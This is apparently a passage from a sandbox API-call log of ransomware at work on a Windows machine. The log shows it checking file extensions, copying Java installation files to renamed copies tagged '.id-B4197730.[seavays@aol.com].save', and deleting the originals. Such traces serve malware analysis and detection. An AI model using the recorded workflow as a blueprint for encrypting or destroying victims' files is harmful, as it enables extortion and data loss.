returned 82 [0056.397] lstrlenW (lpString=".1cd") returned 4 [0056.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.398] lstrlenW (lpString=".jpg") returned 4 [0056.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.398] lstrlenW (lpString=".doc") returned 4 [0056.398] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString=".docx") returned 5 [0056.398] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0056.398] lstrlenW (lpString=".pdf") returned 4 [0056.398] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString=".xls") returned 4 [0056.398] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString=".xlsx") returned 5 [0056.398] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0056.398] lstrlenW (lpString=".ppt") returned 4 [0056.398] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.398] lstrlenW (lpString=".zip") returned 4 [0056.398] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.398] lstrlenW (lpString=".rar") returned 4 [0056.398] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString=".bz2") returned 4 [0056.398] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString=".7z") returned 3 [0056.398] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.398] lstrlenW (lpString=".dbf") returned 4 [0056.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.398] lstrlenW (lpString=".1cd") returned 4 [0056.399] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.399] lstrlenW (lpString=".jpg") returned 4 [0056.399] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.399] lstrcmpiW (lpString1=".txt", lpString2=".save") returned 1 [0056.399] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0056.399] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.399] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=63933) returned 1 [0056.399] CloseHandle (hObject=0x36c) returned 1 [0056.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0056.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.399] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.400] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.400] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.400] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.401] GetLastError () returned 0x0 [0056.401] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0056.405] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0056.407] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0056.408] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x118, lpOverlapped=0x0) returned 1 [0056.408] SetEndOfFile (hFile=0x378) returned 1 [0056.408] CloseHandle (hObject=0x378) returned 1 [0056.410] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.410] SetEndOfFile (hFile=0x36c) returned 1 [0056.412] CloseHandle (hObject=0x36c) returned 1 [0056.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.413] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0056.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.413] lstrlenW (lpString=".doc") returned 4 [0056.413] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.413] lstrlenW (lpString=".docx") returned 5 [0056.413] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0056.413] lstrlenW (lpString=".pdf") returned 4 [0056.413] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.413] lstrlenW (lpString=".xls") returned 4 [0056.413] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.413] lstrlenW (lpString=".xlsx") returned 5 [0056.413] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0056.413] lstrlenW (lpString=".ppt") returned 4 [0056.413] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString=".zip") returned 4 [0056.414] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.414] lstrlenW (lpString=".rar") returned 4 [0056.414] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString=".bz2") returned 4 [0056.414] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString=".7z") returned 3 [0056.414] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString=".dbf") returned 4 [0056.414] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString=".1cd") returned 4 [0056.414] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString=".jpg") returned 4 [0056.414] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString=".doc") returned 4 [0056.414] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString=".docx") returned 5 [0056.414] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0056.414] lstrlenW (lpString=".pdf") returned 4 [0056.414] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString=".xls") returned 4 [0056.414] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.414] lstrlenW (lpString=".xlsx") returned 5 [0056.414] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0056.414] lstrlenW (lpString=".ppt") returned 4 [0056.414] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.414] lstrlenW (lpString=".zip") returned 4 [0056.415] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.415] lstrlenW (lpString=".rar") returned 4 [0056.415] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.415] lstrlenW (lpString=".bz2") returned 4 [0056.415] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.415] lstrlenW (lpString=".7z") returned 3 [0056.415] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.415] lstrlenW (lpString=".dbf") returned 4 [0056.415] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.415] lstrlenW (lpString=".1cd") returned 4 [0056.415] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0056.415] lstrlenW (lpString=".jpg") returned 4 [0056.415] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.415] lstrcmpiW (lpString1=".txt", lpString2=".save") returned 1 [0056.415] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0056.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.415] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=145180) returned 1 [0056.415] CloseHandle (hObject=0x36c) returned 1 [0056.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0056.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.416] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.416] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.416] GetLastError () returned 0x0 [0056.416] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2371c, lpOverlapped=0x0) returned 1 [0056.420] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x23720, lpOverlapped=0x0) returned 1 [0056.424] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0056.424] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1 [0056.424] SetEndOfFile (hFile=0x378) returned 1 [0056.424] CloseHandle (hObject=0x378) returned 1 [0056.429] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.429] SetEndOfFile (hFile=0x36c) returned 1 [0056.430] CloseHandle (hObject=0x36c) returned 1 [0056.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.431] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0056.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.431] lstrlenW (lpString=".doc") returned 4 [0056.431] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.431] lstrlenW (lpString=".docx") returned 5 [0056.431] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0056.431] lstrlenW (lpString=".pdf") returned 4 [0056.431] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.431] lstrlenW (lpString=".xls") returned 4 [0056.431] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.431] lstrlenW (lpString=".xlsx") returned 5 [0056.431] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0056.431] lstrlenW (lpString=".ppt") returned 4 [0056.431] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.431] lstrlenW (lpString=".zip") returned 4 [0056.431] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.431] lstrlenW (lpString=".rar") returned 4 [0056.432] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString=".bz2") returned 4 [0056.432] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString=".7z") returned 3 [0056.432] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.432] lstrlenW (lpString=".dbf") returned 4 [0056.432] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.432] lstrlenW (lpString=".1cd") returned 4 [0056.432] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.432] lstrlenW (lpString=".jpg") returned 4 [0056.432] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.432] lstrlenW (lpString=".doc") returned 4 [0056.432] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString=".docx") returned 5 [0056.432] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0056.432] lstrlenW (lpString=".pdf") returned 4 [0056.432] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString=".xls") returned 4 [0056.432] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.432] lstrlenW (lpString=".xlsx") returned 5 [0056.432] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0056.432] lstrlenW (lpString=".ppt") returned 4 [0056.432] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.432] lstrlenW (lpString=".zip") returned 4 [0056.432] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.432] lstrlenW (lpString=".rar") returned 4 [0056.432] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.433] lstrlenW (lpString=".bz2") returned 4 [0056.433] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.433] lstrlenW (lpString=".7z") returned 3 [0056.433] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.433] lstrlenW (lpString=".dbf") returned 4 [0056.433] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.433] lstrlenW (lpString=".1cd") returned 4 [0056.433] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0056.433] lstrlenW (lpString=".jpg") returned 4 [0056.433] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.433] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0056.433] lstrlenW (lpString="Welcome.html") returned 12 [0056.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.433] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=955) returned 1 [0056.433] CloseHandle (hObject=0x36c) returned 1 [0056.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0056.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.434] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.434] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.434] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.434] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.434] GetLastError () returned 0x0 [0056.434] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3bb, lpOverlapped=0x0) returned 1 [0056.954] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x3c0, lpOverlapped=0x0) returned 1 [0056.955] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0056.955] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0056.955] SetEndOfFile (hFile=0x378) returned 1 [0056.955] CloseHandle (hObject=0x378) returned 1 [0056.956] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.956] SetEndOfFile (hFile=0x36c) returned 1 [0056.957] CloseHandle (hObject=0x36c) returned 1 [0056.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.958] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0056.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.958] lstrlenW (lpString=".doc") returned 4 [0056.958] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0056.958] lstrlenW (lpString=".docx") returned 5 [0056.958] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0056.958] lstrlenW (lpString=".pdf") returned 4 [0056.958] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0056.958] lstrlenW (lpString=".xls") returned 4 [0056.958] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0056.958] lstrlenW (lpString=".xlsx") returned 5 [0056.958] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0056.958] lstrlenW (lpString=".ppt") returned 4 [0056.958] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0056.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.959] lstrlenW (lpString=".zip") returned 4 [0056.959] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0056.959] lstrlenW (lpString=".rar") returned 4 [0056.959] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0056.959] lstrlenW (lpString=".bz2") returned 4 [0056.959] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0056.959] lstrlenW (lpString=".7z") returned 3 [0056.959] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0056.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.959] lstrlenW (lpString=".dbf") returned 4 [0056.959] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0056.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.959] lstrlenW (lpString=".1cd") returned 4 [0056.959] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0056.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.959] lstrlenW (lpString=".jpg") returned 4 [0056.959] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0056.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.959] lstrlenW (lpString=".doc") returned 4 [0056.959] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0056.959] lstrlenW (lpString=".docx") returned 5 [0056.959] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0056.959] lstrlenW (lpString=".pdf") returned 4 [0056.959] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0056.959] lstrlenW (lpString=".xls") returned 4 [0056.959] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0056.959] lstrlenW (lpString=".xlsx") returned 5 [0056.959] 